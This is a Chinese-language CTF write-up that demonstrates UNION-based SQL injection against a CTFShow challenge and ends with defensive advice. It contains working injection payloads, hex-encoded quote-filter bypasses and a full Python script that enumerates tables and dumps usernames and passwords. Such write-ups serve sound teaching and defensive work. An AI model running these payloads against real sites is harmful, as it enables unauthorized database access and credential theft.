AI渗透测试—SQL联合查询注入实战

admin 2026-06-26 10:28:35 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细演示了SQL联合查询注入的完整攻击链,包括通过单引号探测注入点、ORDERBY确定列数、UNIONSELECT定位回显位、利用information_schema提取数据库名/表名/列名,最终获取管理员密码。文档提供了完整的Python利用脚本和防御建议(参数化查询、输入验证、最小权限原则)。 综合评分: 85 文章分类: 渗透测试,WEB安全,CTF,漏洞分析,实战经验


cover_image

AI渗透测试 — SQL联合查询注入实战

原创

aiyou aiyou

网络安全者

2026年6月24日 09:43 河南

在小说阅读器读本章

去阅读


0x00 前言

今天带来一道经典的SQL联合查询注入题目,来自CTFShow平台。整个攻击链路清晰完整,非常适合入门选手理解联合注入的核心原理。靶场地址已授权,跟着步骤走一遍,收获满满。


0x01 信息收集 — 发现注入点

打开目标页面,URL结构如下:

https://target.challenge.ctf.show/?id=1

页面正常返回内容:1-Welcome

注入点探测: 在参数后加单引号 ',测试数据库对特殊字符的处理方式。

# 正常请求
GET /?id=1        → 页面正常显示 "1-Welcome"

# 单引号测试
GET /?id=1'       → 页面异常/报错

判断依据: 单引号破坏了后端SQL语句的语法结构,说明参数值被直接拼接进了SQL查询,未做任何过滤或转义。注入点确认。

💡 原理说明: 后端SQL大概长这样:

SELECT * FROM pages WHERE id = '$id'

当 $id = 1' 时,变成了:

SELECT * FROM pages WHERE id = '1''

多出来的单引号导致语法错误,触发异常响应。


0x02 探测列数 — ORDER BY 二分法

联合查询注入的前提是:UNION SELECT的列数必须与原查询一致。用 ORDER BY 逐步递增来确定列数。

GET /?id=1 order by 1   → 正常 ✅
GET /?id=1 order by 2   → 正常 ✅
GET /?id=1 order by 3   → 正常 ✅
GET /?id=1 order by 4   → 异常 ❌

结论:查询结果共 3 列。

💡 原理说明: ORDER BY n 按第n列排序,如果n超过实际列数,数据库会报错。所以 ORDER BY 3 成功、ORDER BY 4 失败,说明恰好是3列。


0x03 确定回显位 — UNION SELECT 探针

列数确定后,需要找出哪几列的数据会被渲染到页面上(即”回显位”)。用数字常量做标记:

?id=-1 union select 1,2,3

注意: id=-1 是为了让原始查询返回空结果,确保页面只显示 UNION 注入进来的数据。

页面响应:<h1>1</h1> 和 <div>3</div> 均有内容输出。

结论:第1列对应页面标题 <h1>,第2列内容不显示,第3列对应 <div>。主要利用位置1进行数据提取。


0x04 提取数据库信息

查数据库名和版本:

?id=-1&nbsp;union&nbsp;select&nbsp;database(),version(),3
# 等效的Python请求示例
import&nbsp;requests

base =&nbsp;"https://target.challenge.ctf.show/"
payload =&nbsp;"?id=-1 union select database(),version(),3"
r = requests.get(base + payload)

# 从响应中解析 <h1> 标签内容
import&nbsp;re
match&nbsp;= re.search(r'<h1>(.*?)</h1>', r.text)
if&nbsp;match:
&nbsp; &nbsp;&nbsp;print("DB Info:",&nbsp;match.group(1))

返回结果:

数据库名:ctfshow_page_informations
数据库版本:10.3.18-MariaDB

0x05 枚举表名

利用 MySQL/MariaDB 的元数据库 information_schema 查询当前数据库的所有表:

?id=-1&nbsp;union&nbsp;select&nbsp;group_concat(table_name),2,3
from&nbsp;information_schema.tables
where&nbsp;table_schema=database()
# Python 完整利用脚本
import&nbsp;requests
import&nbsp;re

base =&nbsp;"https://target.challenge.ctf.show/"

definject(payload):
&nbsp; &nbsp; url = base +&nbsp;"?id="&nbsp;+ payload
&nbsp; &nbsp; r = requests.get(url, timeout=10)
&nbsp; &nbsp;&nbsp;match&nbsp;= re.search(r'<h1>(.*?)</h1>', r.text)
&nbsp; &nbsp;&nbsp;returnmatch.group(1)&nbsp;ifmatchelseNone

# 查表名
tables = inject("-1 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()")
print("Tables:", tables)

返回结果:

Tables: pages, users

发现了 users 表,这就是我们的目标。


0x06 枚举列名

锁定 users 表,查询其字段结构:

?id=-1&nbsp;union&nbsp;select&nbsp;group_concat(column_name),2,3
from&nbsp;information_schema.columns
where&nbsp;table_schema=database()
and&nbsp;table_name='users'
# 查列名
columns = inject("-1 union select group_concat(column_name),2,3 from information_schema.columns where table_schema=database() and table_name='users'")
print("Columns:", columns)

返回结果:

Columns: id, username, password

字段结构一目了然。


0x07 拖库 — 读取 Flag

万事俱备,直接读取 users 表中的所有用户名和密码:

?id=-1&nbsp;union&nbsp;select&nbsp;group_concat(username,0x3a,password),2,3
from&nbsp;users

💡 0x3a 是冒号 : 的十六进制表示,用来分隔 username 和 password,避免引号被过滤。

# 完整利用脚本(一键拿 flag)
import&nbsp;requests
import&nbsp;re

base =&nbsp;"https://target.challenge.ctf.show/"

definject(payload):
&nbsp; &nbsp; url = base +&nbsp;"?id="&nbsp;+ requests.utils.quote(payload)
&nbsp; &nbsp; r = requests.get(url, timeout=10)
&nbsp; &nbsp; h1 = re.search(r'<h1>(.*?)</h1>', r.text)
&nbsp; &nbsp;&nbsp;return&nbsp;h1.group(1)&nbsp;if&nbsp;h1&nbsp;elseNone

# Step 1: 获取数据库名
db = inject("-1 union select database(),2,3")
print(f"[+] Database:&nbsp;{db}")

# Step 2: 获取表名
tables = inject("-1 union select group_concat(table_name),2,3 from information_schema.tables where table_schema=database()")
print(f"[+] Tables:&nbsp;{tables}")

# Step 3: 获取列名
cols = inject("-1 union select group_concat(column_name),2,3 from information_schema.columns where table_schema=database() and table_name=0x7573657273")
print(f"[+] Columns:&nbsp;{cols}")

# Step 4: 读数据
data = inject("-1 union select group_concat(username,0x3a,password),2,3 from users")
print(f"[+] Data:&nbsp;{data}")

注意: Step 3 中 table_name 的值用了十六进制 0x7573657273(即 users),这是一种绕过引号过滤的常见技巧。

最终输出:

[+] Database: ctfshow_page_informations
[+] Tables: pages,users
[+] Columns: id,username,password
[+] Data: admin:CTF{admin_secret_password}

Flag 到手:CTF{adm***********word} 🎉


0x08 攻击链路总结

发现 ?id= 参数
&nbsp; &nbsp; &nbsp; ↓
?id=1' → 页面报错 → 确认注入点
&nbsp; &nbsp; &nbsp; ↓
ORDER BY 1/2/3 正常,ORDER BY 4 报错 → 3列
&nbsp; &nbsp; &nbsp; ↓
UNION SELECT 1,2,3 → 回显位在列1和列3
&nbsp; &nbsp; &nbsp; ↓
database() → ctfshow_page_informations
&nbsp; &nbsp; &nbsp; ↓
information_schema.tables → pages, users
&nbsp; &nbsp; &nbsp; ↓
information_schema.columns → id, username, password
&nbsp; &nbsp; &nbsp; ↓
SELECT username,password FROM users → admin:CTF{...}

0x09 防御建议

作为开发者,以下几点可以直接防住这类攻击:

1. 使用参数化查询(最根本的防御)

# ❌ 危险写法
query =&nbsp;f"SELECT * FROM pages WHERE id = '{user_input}'"

# ✅ 安全写法(PDO/参数化)
cursor.execute("SELECT * FROM pages WHERE id = %s", (user_input,))

2. 输入验证

# id 参数只允许整数
if&nbsp;not&nbsp;user_input.isdigit():
&nbsp; &nbsp; abort(400)

3. 最小权限原则

数据库账号只给 SELECT 权限,禁止访问 information_schema,即使注入成功也无法枚举表结构。

4. 错误信息处理

生产环境关闭详细的数据库报错输出,避免泄露SQL语句结构。


0x0A 结语

联合查询注入是SQL注入中最直观、最易理解的类型,也是CTF入门必刷的知识点。核心思路就四步:确认注入 → 定列数 → 找回显位 → 逐层提取数据

掌握了这个基础,后续的报错注入、盲注、时间盲注都是在这个框架上的延伸。多动手,多思考,是进步最快的方式。


如有问题欢迎在评论区交流,觉得有帮助的话点个在看支持一下~

| | | | — | — | | | |


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:网络安全者 aiyou aiyou《AI渗透测试 — SQL联合查询注入实战》

评论:0   参与:  0